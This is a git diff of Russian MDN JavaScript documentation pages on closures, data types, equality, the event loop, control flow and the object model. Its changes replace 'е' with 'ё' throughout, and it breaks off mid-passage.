          Единое окружение создается в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную privateCounter и функцию changeBy(val). Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.

          +

          Единое окружение создаётся в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную privateCounter и функцию changeBy(val). Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.

          Эти три публичные функции являются замыканиями, использующими общий контекст исполнения (окружение). Благодаря механизму lexical scoping в Javascript, все они имеют доступ к переменной privateCounter и функции changeBy.

          -

          Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем ее, присваивая результат исполнения переменной Counter. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:

          +

          Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем её, присваивая результат исполнения переменной Counter. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:

          var makeCounter = function() {
   var privateCounter = 0;
@@ -198,7 +198,7 @@ alert(Counter1.value()); /* Alerts 1 */
 alert(Counter2.value()); /* Alerts 0 */
          -

          Заметьте, что счетчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией makeCounter() также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная privateCounter в каждом из счетчиков это действительно отдельная, самостоятельная переменная.

          +

          Заметьте, что счётчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией makeCounter() также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная privateCounter в каждом из счётчиков это действительно отдельная, самостоятельная переменная.

          Используя замыкания подобным образом, вы получаете ряд преимуществ, обычно ассоциируемых с объектно-ориентированным программированием, таких как изоляция и инкапсуляция.

          @@ -236,11 +236,11 @@ setupHelp();

          {{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13026/", "", 200)}}

          -

          Массив helpText описывает три подсказки для трех полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события onfocus для этого элемента должна вызываться функция, показывающая соответствующую подсказку.

          +

          Массив helpText описывает три подсказки для трёх полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события onfocus для этого элемента должна вызываться функция, показывающая соответствующую подсказку.

          Если вы запустите этот код, то увидите, что он работает не так, как мы ожидаем интуитивно. Какое поле вы бы ни выбрали, в качестве подсказки всегда будет высвечиваться сообщение о возрасте. 

          -

          Проблема в том, что функции, присвоенные как обработчики события onfocus, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от  функции setupHelp. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события onfocus цикл уже давно отработал, а значит, переменная item (одна и та же для всех трех замыканий) указывает на последний элемент массива, который как раз в поле возраста.

          +

          Проблема в том, что функции, присвоенные как обработчики события onfocus, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от  функции setupHelp. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события onfocus цикл уже давно отработал, а значит, переменная item (одна и та же для всех трёх замыканий) указывает на последний элемент массива, который как раз в поле возраста.

          В качестве решения в этом случае можно предложить использование функции, фабричной функции (function factory), как уже было описано выше в примерах:

          @@ -272,7 +272,7 @@ setupHelp();

          {{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13024/", "", 200)}}

          -

          Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция makeHelpCallback создает каждому из замыканий свое собственное, в котором переменная item указывает на правильный элемент массива helpText.

          +

          Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция makeHelpCallback создаёт каждому из замыканий своё собственное, в котором переменная item указывает на правильный элемент массива helpText.

          Соображения по производительности

          @@ -295,7 +295,7 @@ setupHelp(); } -

          Поскольку вышеприведенный код никак не использует преимущества замыканий, его можно переписать следующим образом:

          +

          Поскольку вышеприведённый код никак не использует преимущества замыканий, его можно переписать следующим образом:

          function MyObject(name, message) {
   this.name = name.toString();
diff --git a/files/ru/web/javascript/data_structures/index.html b/files/ru/web/javascript/data_structures/index.html
index e02cffe0f7..7941ee07b1 100644
--- a/files/ru/web/javascript/data_structures/index.html
+++ b/files/ru/web/javascript/data_structures/index.html
@@ -27,7 +27,7 @@ foo = true;  // foo становится типа Boolean
 
            
  
          • 6 типов данных являющихся примитивами:
   
              
-   
            • {{Glossary("Undefined")}} (Неопределенный тип)  : typeof instance === "undefined"
              • 
+   
            • {{Glossary("Undefined")}} (Неопределённый тип)  : typeof instance === "undefined"
              • 
    
            • {{Glossary("Boolean")}} (Булев, Логический тип) : typeof instance === "boolean"
              • 
    
            • {{Glossary("Number")}} (Число) : typeof instance === "number"
              • 
    
            • {{Glossary("String")}} (Строка) : typeof instance === "string"
              • 
@@ -84,7 +84,7 @@ Infinity
  
            • Объединить две строки в одну, применив оператор (+) или метод {{jsxref("String.concat()")}}.
              • 
 
            
 
-
            Избегайте повсеместного использования строк в своем коде!
            
+
            Избегайте повсеместного использования строк в своём коде!
            
 
 
            Иногда может показаться соблазнительным использование строк для представления сложных структур данных. Это даст небольшие краткосрочные выгоды:
            
 
@@ -104,7 +104,7 @@ Infinity
 
 
            Тип данных Большое целое (BigInt)
            
 
-
            BigInt является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 53, что является наибольшим числом, которое JavaScript может надежно представить с помощью Number примитива.
            
+
            BigInt является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 53, что является наибольшим числом, которое JavaScript может надёжно представить с помощью Number примитива.
            
 
 
            > let bigInt = 19241924124n;
 > console.log(bigInt);
@@ -120,7 +120,7 @@ Infinity
 
 
            В JavaScript объект может расцениваться как набор свойств. Литеральная инициализация объекта задаёт определённое количество начальных свойств, и в процессе работы приложения поля могут добавляться и удаляться. Значения свойств могут иметь любой тип, включая другие объекты, что позволяет строить сложные, разветвлённые иерархии данных. Каждое свойство объекта идентифицируется ключом, в качестве которого может выступать значение с типом Строка или Символ.
            
 
-
            Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определенными атрибутами.
            
+
            Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определёнными атрибутами.
            
 
 
            Свойство-значение
            
 
diff --git a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html
index 99baf1e830..c4e2e48cd5 100644
--- a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html
+++ b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness
 
            Выбор оператора зависит от типа сравнения, которое необходимо произвести.
            
 
 
-
            В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернет false, даже не сравнивая); ну и Object.is ведет себя так же, как и тройное равно, но со специальной обработкой для NaN, -0 и +0, возвращая false при сравнении  -0 и +0, и true для операции Object.is(NaN, NaN). (В то время как двойное или тройное равенство вернут false согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов x и y, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные x и y не ссылаются на один и тот же объект), все операторы сравнения вернут false.
            
+
            В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернёт false, даже не сравнивая); ну и Object.is ведёт себя так же, как и тройное равно, но со специальной обработкой для NaN, -0 и +0, возвращая false при сравнении  -0 и +0, и true для операции Object.is(NaN, NaN). (В то время как двойное или тройное равенство вернут false согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов x и y, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные x и y не ссылаются на один и тот же объект), все операторы сравнения вернут false.
            
 
 
            Сравнение с использованием ==
            
 
@@ -109,7 +109,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness
 
 
            В таблице выше, ToNumber(A) пытается перед сравнением привести свой аргумент к числу. Такое поведение эквивалентно +A (унарный оператор +).  Если ToPrimitive(A) получает объект в качестве аргумента, то производятся попытки привести его к примитиву, вызывая на нем методы A.toString и A.valueOf.
            
 
-
            Традиционно (и в соответствии с ECMAScript), ни один из объектов не равен undefined или null.  Но большинство браузеров позволяет определенному классу объектов (в частности, объектам document.all для любой страницы) эмулировать значение undefined.  Оператор равенства вернёт значение true для null == A и undefined == A, тогда, и только тогда, когда объект эмулирует значение undefined. Во всех остальных случаях объект не может быть равен undefined или null.
            
+
            Традиционно (и в соответствии с ECMAScript), ни один из объектов не равен undefined или null.  Но большинство браузеров позволяет определённому классу объектов (в частности, объектам document.all для любой страницы) эмулировать значение undefined.  Оператор равенства вернёт значение true для null == A и undefined == A, тогда, и только тогда, когда объект эмулирует значение undefined. Во всех остальных случаях объект не может быть равен undefined или null.
            
 
 
            var num = 0;
 var obj = new String("0");
@@ -134,7 +134,7 @@ console.log(obj == undefined);
 
 
            Строгое равенство с использованием ===
            
 
-
            Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них +0, а вторая -0. В то же время, если хотя бы одна из числовых переменных содержит значение NaN, выражение вернет false.
            
+
            Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них +0, а вторая -0. В то же время, если хотя бы одна из числовых переменных содержит значение NaN, выражение вернёт false.
            
 
 
            var num = 0;
 var obj = new String("0");
@@ -153,7 +153,7 @@ console.log(obj === null); // false
 console.log(obj === undefined); // false
 
            
 
-
            Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение +0 и -0. Знак для нуля введен для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между +0 и -0 не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин NaN. NaN (Not a number) представляет из себя значение не определенной величины, которое применяется для не четко определенных математических задач (например +∞ + -∞). Для оператора строго равенства NaN не равен ни одной из величин, в том числе и самому себе (единственный случай, когда (x!==x) вернет true).
            
+
            Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение +0 и -0. Знак для нуля введён для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между +0 и -0 не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин NaN. NaN (Not a number) представляет из себя значение не определённой величины, которое применяется для не чётко определённых математических задач (например +∞ + -∞). Для оператора строго равенства NaN не равен ни одной из величин, в том числе и самому себе (единственный случай, когда (x!==x) вернёт true).
            
 
 
            Равенство одинаковых величин
            
 
@@ -169,7 +169,7 @@ function attemptMutation(v)
 }
 
            
 
-
            При попытке изменения неизменяемого свойства, вызов Object.defineProperty выбросит исключение, однако, если новое свойство равняется старому, изменений не произойдет и исключение не будет выброшено. Если v содержит -0, изменений не произойдет, а значит, код отработает без выброса исключений. Однако, если же v содержит +0, Number.NEGATIVE_ZERO утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом Object.is.
            
+
            При попытке изменения неизменяемого свойства, вызов Object.defineProperty выбросит исключение, однако, если новое свойство равняется старому, изменений не произойдёт и исключение не будет выброшено. Если v содержит -0, изменений не произойдёт, а значит, код отработает без выброса исключений. Однако, если же v содержит +0, Number.NEGATIVE_ZERO утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом Object.is.
            
 
 
            Спецификации для равенства, строгого равенства и равенства одинаковых величин
            
 
diff --git a/files/ru/web/javascript/eventloop/index.html b/files/ru/web/javascript/eventloop/index.html
index d659ecc73c..1d4023e2c5 100644
--- a/files/ru/web/javascript/eventloop/index.html
+++ b/files/ru/web/javascript/eventloop/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/EventLoop
 
 
            Стек
            
 
-
            Вызов любой функции создает контекст выполнения (Execution Context). При вызове вложенной функции создается новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).
            
+
            Вызов любой функции создаёт контекст выполнения (Execution Context). При вызове вложенной функции создаётся новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).
            
 
 
            function f(b) {
   var a = 12;
@@ -36,7 +36,7 @@ function g(x) {
 g(21);
 
            
 
-
            Когда вызывается функция g,  создаётся первый контекст выполнения, содержащий аргументы функции g и локальные переменные. Когда g вызывает f, создаётся второй контекст с аргументами f и её локальными переменными.  И этот контекст выполнения f помещается в стек вызовов выше первого. Когда f возвращает результат, верхний элемент из стека удаляется. Когда g возвращает результат, ее контекст также удалится, и стек становится пустым.
            
+
            Когда вызывается функция g,  создаётся первый контекст выполнения, содержащий аргументы функции g и локальные переменные. Когда g вызывает f, создаётся второй контекст с аргументами f и её локальными переменными.  И этот контекст выполнения f помещается в стек вызовов выше первого. Когда f возвращает результат, верхний элемент из стека удаляется. Когда g возвращает результат, её контекст также удалится, и стек становится пустым.
            
 
 
            Куча
            
 
@@ -62,7 +62,7 @@ g(21);
 
 
            Запуск до завершения
            
 
-
            Каждая задача выполняется полностью, прежде чем начнет обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.
            
+
            Каждая задача выполняется полностью, прежде чем начнёт обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.
            
 
 
            У данного подхода есть и минусы. Если задача занимает слишком много времени, то веб-приложение не может обрабатывать действия пользователя в это время (например, скролл или клик). Браузер старается смягчить проблему и выводит сообщение "скрипт выполняется слишком долго" ("a script is taking too long to run") и предлагает остановить его. Хорошей практикой является создание задач, которые исполняются быстро, и если возможно, разбиение одной задачи на несколько мелких.
            
 
@@ -70,11 +70,11 @@ g(21);
 
 
            В браузерах события добавляются в очередь в любое время, если событие произошло, а так же если у него есть обработчик. В случае, если обработчика нет – событие потеряно. Так, клик по элементу, имеющему обработчик события по событию click , добавит событие в очередь, а если обработчика нет – то и событие в очередь не попадет.
            
 
-
            Вызов setTimeout добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции setTimeout придется ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент setTimeout корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.
            
+
            Вызов setTimeout добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции setTimeout придётся ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент setTimeout корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.
            
 
 
            Нулевые задержки
            
 
-
            Нулевая задержка не дает гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом  0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдет выполнение обработчика cb1. Это произойдет, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.
            
+
            Нулевая задержка не даёт гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом  0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдёт выполнение обработчика cb1. Это произойдёт, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.
            
 
 
            (function () {
 
diff --git a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
index a7b952b323..dd86463b4a 100644
--- a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
+++ b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
 
            {{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}
            
 
 
            
-
            JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе дается обзор этих инструкций.
            
+
            JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе даётся обзор этих инструкций.
            
 
            
 
 
            Более подробная информация об инструкциях, рассмотренных в данной главе, содержится в справочнике по JavaScript. Точка с запятой ( ; ) используется для разделения инструкций в коде.
            
@@ -26,9 +26,9 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
 
 
            while (x < 10) { x++; }
            
 
-
            В вышеприведенном примере { x++; } является блоком.
            
+
            В вышеприведённом примере { x++; } является блоком.
            
 
-
            Обратите внимание: в JavaScript отсутствует область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создает новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:
            
+
            Обратите внимание: в JavaScript отсутствует область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создаёт новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:
            
 
 
            var x = 1;
 {
@@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
 }
 console.log(x); // выведет 2
            
 
-
            В вышеприведенном примере инструкция var x внутри блока находится в той же области видимости, что и инструкция var x перед блоком. В C или Java эквивалентный код выведет значение 1.
            
+
            В вышеприведённом примере инструкция var x внутри блока находится в той же области видимости, что и инструкция var x перед блоком. В C или Java эквивалентный код выведет значение 1.
            
 
 
            Начиная с ECMAScript 6, оператор let позволяет объявить переменную в области видимости блока. Чтобы получить более подробную информацию, прочитайте {{jsxref("Statements/let", "let")}}.
            
 
@@ -75,7 +75,7 @@ console.if (x = y) { /* ... */ }
 
            
 
-
            Если вам нужно использовать присваивание в условном выражении, то распространенной практикой является заключение операции присваивания в дополнительные скобки. Например:
            
+
            Если вам нужно использовать присваивание в условном выражении, то распространённой практикой является заключение операции присваивания в дополнительные скобки. Например:
            
 
 
            if ( (x = y) ) { /* ... */ }
            
 
@@ -101,7 +101,7 @@ if (b) // это условие true
 if (b == true) // это условие false
 
            
 
-
            В следующем примере функция checkData возвращает true, если число символов в объекте Text равно трем; в противном случае функция отображает окно alert и возвращает false.
            
+
            В следующем примере функция checkData возвращает true, если число символов в объекте Text равно трём; в противном случае функция отображает окно alert и возвращает false.
            
 
 
            function checkData() {
   if (document.form1.threeChar.value.length == 3) {
@@ -131,9 +131,9 @@ if (b == true) // это условие false
 }
 
            
 
-
            Сначала производится поиск ветви case с меткой label, совпадающей со значением выражения expression. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора break, который прекращает выполнение switch и передает управление дальше. В противном случае управление передается необязательной ветви default и выполняется соответствующий ей код. Если ветвь default не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией switch. По соглашению ветвь default является последней ветвью, но следовать этому соглашению необязательно.
            
+
            Сначала производится поиск ветви case с меткой label, совпадающей со значением выражения expression. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора break, который прекращает выполнение switch и передаёт управление дальше. В противном случае управление передаётся необязательной ветви default и выполняется соответствующий ей код. Если ветвь default не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией switch. По соглашению ветвь default является последней ветвью, но следовать этому соглашению необязательно.
            
 
-
            Если оператор break отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнется выполнение кода, который следует за ней.
            
+
            Если оператор break отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнётся выполнение кода, который следует за ней.
            
 
 
            В следующем примере если fruittype имеет значение "Bananas", то будет выведено сообщение "Bananas are $0.48 a pound." и оператор break прекратит выполнение switch. Если бы оператор break отсутствовал, то был бы также выполнен код, соответствующий ветви "Cherries", т.е. выведено сообщение "Cherries are $3.00 a pound.".
            
 
@@ -180,7 +180,7 @@ console.throw expression;
          -

          Вы можете выбросить любое выражение, а не только выражения определенного типа. В следующем примере выбрасываются исключения различных типов:

          +

          Вы можете выбросить любое выражение, а не только выражения определённого типа. В следующем примере выбрасываются исключения различных типов:

          throw "Error2";                                              // string
 throw 42;                                                    // number
@@ -235,7 +235,7 @@ catch (e) {
 
 
          catch (catchID) { statements }
          
 
-
          JavaScript создает идентификатор catchID, которому присваивается перехваченное исключение, при входе в блок catch; данный идентификатор доступен только в пределах блока catch и уничтожается при выходе из него.
          
+
          JavaScript создаёт идентификатор catchID, которому присваивается перехваченное исключение, при входе в блок catch; данный идентификатор доступен только в пределах блока catch и уничтожается при выходе из него.
          
 
 
          В следующем примере выбрасывается исключение, которое перехватывается в блоке catch:
          
 
diff --git a/files/ru/web/javascript/guide/details_of_the_object_model/index.html b/files/ru/web/javascript/guide/details_of_the_object_model/index.html
index 5a78bd6a74..a93d7aa85e 100644
--- a/files/ru/web/javascript/guide/details_of_the_object_model/index.html
+++ b/files/ru/web/javascript/guide/details_of_the_object_model/index.html
@@ -28,17 +28,17 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
 
 
          Подклассы и наследование
          
 
-
          В языках, основанных на классах, вы создаете иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является подклассом уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс Employee включает два свойства: name и dept, а класс Manager является подклассом Employee и добавляет свойство reports. В этом случае, экземпляр класса Manager будет иметь три свойства: name, dept, и reports.
          
+
          В языках, основанных на классах, вы создаёте иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является подклассом уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс Employee включает два свойства: name и dept, а класс Manager является подклассом Employee и добавляет свойство reports. В этом случае, экземпляр класса Manager будет иметь три свойства: name, dept, и reports.
          
 
 
          JavaScript реализует наследование, позволяя связать прототипный ообъект с любой функцией-конструктором. Итак, вы можете создать ообъект точь-в-точь, как в примере Employee — Manager, но используя несколько иную технику. Для начала нужно определить функцию-конструктор Employee, которая определяет свойства name и dept. Затем, определяем функцию-конструктор Manager, в которой в свою очередь, будет явно вызываться конструктор Employee и определяться новое свойство reports. Наконец, присваиваем новый экземпляр Employee, в качестве prototype для функции-конструктора Manager. Теперь, когда вы создадите нового Manager, он унаследует свойства name и dept из объекта Employee.
          
 
 
          Добавление и удаление свойств
          
 
-
          В языках, основанных на классах, вы, как правило, создаете класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.
          
+
          В языках, основанных на классах, вы, как правило, создаёте класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.
          
 
 
          Подытожим различия
          
 
-
          Следующая таблица дает краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.
          
+
          Следующая таблица даёт краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.
          
 
 
@@ -54,7 +54,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
    
-   
+   
@@ -64,7 +64,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
   
@@ -73,7 +73,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
   
-   
+   
          
  Сравнение языков на основе классов (Java) и на базе прототипов (JavaScript)
          Все объекты могут наследовать свойства другого объекта.
   
          
   
          Определяем класс с помощью определения класса; создаем экземпляр класса с помощью метода-конструктора.Определяем класс с помощью определения класса; создаём экземпляр класса с помощью метода-конструктора.
    Определение и создание объекта происходит с помощью функций-конструкторов.
   
          
   
          
    Иерархия объектов строится с помощью определения классов и их подклассов.
    
-    
          Построение иерархии объектов происходит путем присвоения объекта в качестве прототипа функции-конструктора.
          
+    
          Построение иерархии объектов происходит путём присвоения объекта в качестве прототипа функции-конструктора.
          
              		
   
          
   
          
   
          
    Определение класса определяет все свойства всех экземпляров класса. Нельзя динамически добавлять свойства во время выполнения.Функция-конструктор или прототип задает начальный набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности объектов.Функция-конструктор или прототип задаёт начальный набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности объектов.
   
          
            
 
          
@@ -152,7 +152,7 @@ function Manager() {
   Employee.call(this);
   this.reports = [];
 }
-//создаем пустой объект с прототипом от конструктора Employee
+//создаём пустой объект с прототипом от конструктора Employee
 //и используем этот ообъект как прототип для Manager
 Manager.prototype = Object.create(Employee.prototype);
 
@@ -236,7 +236,7 @@ public class Engineer extends WorkerBee {
 
 
          Используя эти определения, вы можете создавать экземпляры объектов, которые получат значения по умолчанию для своих свойств. Рисунок 8.3 иллюстрирует использование этих определений и показывает значения свойств у полученных объектов.
          
 
-
          {{ note('Термин экземпляр имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определенного класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной функции конструктора. Так, в этом примере, вы можете неформально сказать, что jane является экземпляром Engineer. Аналогично, хотя термины parent, child, ancestor и descendant (родитель, ребенок, предок и потомок) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже в цепочке прототипов.') }}
          
+
          {{ note('Термин экземпляр имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определённого класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной функции конструктора. Так, в этом примере, вы можете неформально сказать, что jane является экземпляром Engineer. Аналогично, хотя термины parent, child, ancestor и descendant (родитель, ребёнок, предок и потомок) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже в цепочке прототипов.') }}
          
 
 
          figure8.3.png
          
  Рисунок 8.3: Создание объектов с простыми определениями
          
@@ -247,21 +247,21 @@ public class Engineer extends WorkerBee {
 
 
          Наследование свойств
          
 
-
          Предположим, вы создаете ообъект mark в качестве WorkerBee (как показано на Рисунок 8.3) с помощью следующего выражения:
          
+
          Предположим, вы создаёте ообъект mark в качестве WorkerBee (как показано на Рисунок 8.3) с помощью следующего выражения:
          
 
 
          var mark = new WorkerBee;
 
          
 
-
          Когда JavaScript видит оператор new, он создает новый обобщенный ообъект и неявно устанавливает значение внутреннего свойства [[Prototype]] в WorkerkBee.prototype, затем передает этот новый ообъект в качестве значения this в функцию-конструктор WorkerBee. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый ообъект, а оператор присваивания устанавливает переменную mark для этого объекта.
          
+
